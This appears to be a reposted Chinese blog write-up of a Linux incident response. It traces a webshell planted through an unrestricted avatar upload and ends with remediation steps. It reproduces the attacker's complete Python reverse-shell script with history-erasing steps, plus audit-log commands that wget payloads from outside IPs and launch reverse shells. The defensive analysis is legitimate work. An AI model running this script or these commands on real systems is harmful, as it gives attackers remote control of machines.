【应急案例】Linux应急记录

转载

FLy_鹏程万里 于 2019-02-22 16:28:32 发布 352 收藏 1
分类专栏： 【应急响应】 # Linux应急案例


【应急响应】 同时被 2 个专栏收录
51 篇文章 7 订阅
订阅专栏


Linux应急案例
2 篇文章 0 订阅
订阅专栏

0x01 背景

本周是在目前公司的最后一周，周五就离职了，在这里待了2年半时间，说短也不短，职业生涯可能也没多少个2年半。出门和同事去撸串的路上收到的告警，急忙赶回来处理，很简单的一次应急，没什么技术含量，因为时间点特殊才想着记录一下，毕竟是最后一次应急响应。

0x02 排查过程

看到告警信息，发现Java进程执行了Wget操作，下载了一个Python文件，访问Python文件，内容如下：

```
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
```

反弹脚本，确认机器被黑了。
先看下反弹进程：

```
admin 19363 0.0 0.0 154784 5260 ? S 19:12 0:00 python /tmp/1.py 103.224.248.18 1555
```

干掉，然后netstat确认下没有对外发起的ESTABLISHED连接。然后看下攻击者执行了什么命令
其中一条机器执行的命令

```
cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
whoami
ls -al
ping -c 3 www.baidu.com
bash -i > (bash反弹这个攻击者肯定是没有URL编码&导致没有执行成功)
/bin/bash -i >
wget http://162.247.97.195/223.txt -O 123.jsp
ls -al
```

另一台执行的命令

```
cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
ls -al
wget 43.229.213.219/backs/back.py
ls -al
wget
wget http://43.229.213.219/backs/back.py
pwd
wget http://43.229.213.219/backs/back.py
ls -al
ls -al /root
id
ls -al /tmp
wget http://43.229.213.219/backs/back.py -O /tmp/1.py
ls -al /tmp/1.py
ls -al /var/tmp
ls -al /tmp
python /tmp/1.py 103.224.248.18 1555
pwd
ps -aux
last
ping -c 4 192.168.192.75
ping -c 4 192.168.190.249
```

对照着Auditd Log

```
type=EXECVE msg=audit(1532430757.519:892862): argc=3 a0="ls" a1="-al" a2="/tmp"
```

其中一条日志的时间点是2018/7/24 19:12:37
去搜索Nginx Accesslog

```
cat /tmp/1 | grep '19:12:37'
66.42.53.201 - - [24/Jul/2018:19:12:37 +0800] "GET /upload/avatar/35364_big.jsp?pwd=023&i=ls%20-al%20/tmp H
```

这里发现了多个攻击者的IP，包括：

```
66.42.53.201
27.102.112.62
149.28.148.146
...
```

Webshell文件为35364_big.jsp，很简单的一个cmd马
然后看到访问目录在/upload/avatar/下也能猜测到，开发没有限制头像处上传文件扩展名白名单导致的。

0x03 处理措施

1）删除Webshell和反弹Python脚本
2）检查两台机器还有没有对外的ESTABLISHED的连接，可能机器仍然被控制
3）让运维修改nginx限制upload目录下的jsp和jspx文件访问
4）让开发修改头像上传处添加服务端扩展名白名单限制，并检查其他上传文件的地方。